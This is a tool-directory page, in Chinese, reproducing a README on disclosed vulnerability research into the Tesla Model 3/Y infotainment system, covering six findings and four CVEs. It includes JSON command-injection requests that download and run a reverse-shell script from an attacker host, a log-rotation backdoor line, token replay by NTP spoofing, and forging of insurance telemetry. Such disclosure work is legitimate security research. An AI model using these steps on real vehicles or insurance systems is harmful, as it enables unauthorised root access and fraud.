Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
tesla-security-research — 对特斯拉Model 3/Y信息娱乐系统的漏洞研究。6个漏洞,4个CVE(CVE-2022-42005至CVE-2022-42008)。Root shell、持久化访问、保险远程信息处理欺骗。 | Kitploit
工具/GitHubGitHub/analyticeth/tesla-security-research
嵌入式系统安全权限提升持久化机制漏洞分析漏洞利用数据泄露渗透测试命令与控制硬件与物联网安全

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
学习与教育
GitHubanalyticeth/tesla-security-research

tesla-security-research

对特斯拉Model 3/Y信息娱乐系统的漏洞研究。6个漏洞,4个CVE(CVE-2022-42005至CVE-2022-42008)。Root shell、持久化访问、保险远程信息处理欺骗。

查看仓库
52个月前尚未审核

特斯拉安全研究

对特斯拉 Model 3/Y 信息娱乐系统(Intel Atom MCU,Linux 4.14.235)的漏洞研究,已通过 Bugcrowd 向特斯拉负责任的披露。

通过特斯拉 ODIN 诊断接口的命令注入漏洞 (CVE-2022-42008),在一台量产特斯拉 Model 3 上获得了持久的 root 访问权限。由此,又发现了五个额外漏洞——包括一种能够抵御固件更新的持久化方法(CVE-2022-42005,CVE-2022-42006)以及一种伪造 Safety Score 保险遥测数据的方法,该方法直接将月保费从 130 美元降至 83 美元。

ODIN、hermes 和 Safety Score 共发现六个漏洞。四个 CVE。通过 Bugcrowd 获得奖励,并加入了特斯拉的 SSH 安全研究员计划。

漏洞总结

发现CVE影响状态奖励
通过 ODIN 获取 Root ShellCVE-2022-42008通过命令注入获取 Root Shell已修复 (2021.32.10)Bugcrowd 赏金
过期 ODIN 令牌CVE-2022-42007通过 NTP 欺骗进行令牌重放已修复 (2021.32.10)Bugcrowd 赏金
上传至 Mothership—任意文件上传至特斯拉服务器标记为 N/A—
日志后门 + DV 访问CVE-2022-42005, CVE-2022-42006持久化访问并抵御固件更新已修复Bugcrowd 赏金
保险遥测伪造—伪造 Safety Score 降低保费未确认修复—
Unfuse ODIN—无需认证执行任意 ODIN 任务未确认修复—

架构

特斯拉 Model 3/Y 信息娱乐系统(Intel Atom MCU)运行基于 Linux 的操作系统,本次研究中识别了多个攻击面:

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│                  Tesla Model 3 MCU (Intel)               │
│                                                          │
│  ┌────────────┐  ┌──────────────┐  ┌──────────────────┐  │
│  │   ODIN     │  │  QtCarServer │  │  hermes          │  │
│  │            │  │              │  │  (代理+客户端)   │  │
│  │  CVE-42008 │  │  prototype_  │  │                  │  │
│  │  (命令注入)│  │  server      │  │  上传至          │  │
│  │            │  │  CVE-42006   │  │  Mothership      │  │
│  │  Report 06 │  │  (数据值)    │  │  [Report 03]     │  │
│  │  (is-fused │  │              │  │  [Report 05]     │  │
│  │   绕过)    │  └──────────────┘  └────────┬─────────┘  │
│  └──────┬─────┘                             │            │
│         │        ┌──────────────┐           │            │
│         │        │ svlogd       │           │            │
│         │        │ 日志轮转     │           │            │
│         │        │ CVE-42005    │           │            │
│         │        │ (持久化)     │           │            │
│         │        └──────────────┘           │            │
└─────────┼───────────────────────────────────┼────────────┘
          │                                   │
    ┌─────┴───────┐                   ┌───────┴──────────┐
    │  Toolbox    │                   │   Mothership     │
    │  API        │                   │   服务器         │
    │             │                   │                  │
    │  CVE-42007  │                   │  文件上传        │
    │  (过期      │                   │  遥测数据        │
    │   令牌)     │                   │                  │
    └─────────────┘                   └──────────────────┘

获取 Root 权限与持久化

完整报告:通过 ODIN 获取 Root Shell | 日志后门 + DV 访问

ODIN 诊断接口暴露了一个名为 TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK 的任务,它接受一个 MicTest-Input 参数——一个字符串列表,直接传递给 CID_EXEC 以 root 身份执行。任何拥有最低 Toolbox 访问级别(tbx-external)的订阅者均可通过连接到车辆的诊断端口并发送 POST 请求来触发此任务。输入字符串会被原样执行,因此攻击只需两步:首先,通过 curl 将反向 shell 脚本下载到车辆上:

root@kitploit:~
{
    "args": {
        "kw": {
            "MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

然后执行它:

root@kitploit:~
{
    "args": {
        "kw": {
            "MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

建立 root shell 后,通过劫持 svlogd 日志轮转配置实现持久化访问。标准的 gzip 压缩命令被替换为一个脚本,该脚本在每次日志轮转时以 log 账户打开一个后门 shell:

root@kitploit:~
!sh /var/log/wpa_supplicant/gzip.sh -c

使用 chattr +i 将配置文件设置为不可变,以确保其在固件更新中存活。虽然 log 账户无法使用标准的 sdv 命令设置数据值(dbus 拒绝),但特斯拉的休眠 prototype_server 在通过 settings.conf 启用后,提供对所有数据值的无限制 WebSocket 访问。一组定制的 shell 脚本(sdv,lv,send.sh)模拟 WebSocket 客户端与该服务器交互。

完整的持久化工具集通过车辆的 Access Code 输入框控制(长按触摸屏上的车辆模型即可显示),该输入框由一个监听脚本监控,用于分发命令——包括打开后门 shell、设置数据值和切换服务模式。

独立发现

过期 ODIN 令牌 + NTP 欺骗 (CVE-2022-42007)

特斯拉的 ODIN 令牌生成端点接受过期的 tbx-tokens,并且关键的是,还在响应中返回用户的 tbx-token,从而通过共享导致令牌泄露。车辆通常会拒绝过期的 ODIN 令牌,但通过使用基于 ARP 的拦截 (ntpspoof.py) 伪造车辆的 NTP 时间源,可以诱使车辆接受已过期的令牌。网关检测到 NTP 篡改(GTW_w149_rtcTimeSetInPast),但并未对此信号采取行动。

上传至 Mothership

使用车辆来自 /var/lib/car_creds/ 的证书,可以在本地机器上启动 hermes_proxy 服务,从而直接访问特斯拉的 Mothership 服务器。配置文件备份端点(/vehicles/${VIN}/computer_profile)接受任意文件上传且无任何验证——一条简单的 curl 命令即可将任何文件上传到特斯拉的生产基础设施。特斯拉将此发现标记为 N/A("按设计工作")。

保险遥测伪造

特斯拉的 Safety Score 系统从 MCU 收集驾驶遥测数据,并上传至 Mothership 用于保费计算。拥有 root 权限后,可以捕获一份满分遥测样本,通过十六进制编辑(使用逆向工程得到的模式文件 telemetry.proto)夸大其 protobuf 编码的里程数值,然后重新上传修改后的样本。两份伪造的行程被 Mothership 接受——其中一份显示约 2700 英里的行驶距离,耗时 3.5 小时——直接导致月保费从 130 美元降至 83 美元。根本问题在于遥测数据来自 MCU(用户可访问),而非 APE3 自动驾驶单元(加固的)。特斯拉未就此发现发放赏金。

ODIN 认证绕过

拥有 root 权限后,将一个伪造的 is-fused 脚本绑定挂载到 /usr/bin/is-fused 上,并重启 ODIN 服务,会导致 ODIN 认为该单元处于工厂/开发模式。在此状态下,无需认证令牌即可执行任何 ODIN 任务——包括可能禁用车辆警报的任务(PROC_ICE_X_SET-DATA-VALUE)、擦除 VIN 的任务(PROC_ICE_X_DEASSOCIATE-PRODUCT-ID),甚至可能触发安全关键车辆功能的任务。

工具

免责声明

本研究是作为负责任的漏洞研究的一部分进行的,并通过 Bugcrowd 向特斯拉的漏洞奖励计划报告。所有分配了 CVE 的漏洞已在当前固件版本中修复。本仓库仅供教育目的发布。

作为本研究的结果,团队通过 Bugcrowd 获得了财务赏金,并加入了特斯拉的 SSH 安全研究员计划,获得了用于持续研究访问的签名 SSH 证书。

参考文献

  • CVE-2022-42008 — 通过 ODIN 获取 Root Shell
  • CVE-2022-42007 — 过期 ODIN 令牌
  • CVE-2022-42006 — Prototype Server 数据值访问
  • CVE-2022-42005 — 持久日志 Shell
  • Tesla Hacking: 第一部分 — 在特斯拉 Model 3 上获取 Root 权限
  • Tesla Hacking: 第二部分 — 伪造特斯拉保险遥测数据
  • 特斯拉安全

研究人员

  • Matthew C. Pilsbury
  • Alex Harbuzenko
  • Oleg Kutkov
  • Tristan Rice

研究代表 SourceHat Labs Inc. 进行。

下载工具
工具描述
ntpspoof.py基于 ARP 的 NTP 欺骗,用于重放过期 ODIN 令牌 (Python/scapy)
telemetry.proto逆向工程的特斯拉 Safety Score 遥测 protobuf 模式(34 个字段)
listen.shAccess Code 输入框命令监听器——通过触摸屏的秘密命令界面
sdv通过 prototype_server WebSocket 设置数据值
lv通过 prototype_server WebSocket 获取数据值
send.sh用于 prototype_server 通信的 WebSocket 帧构建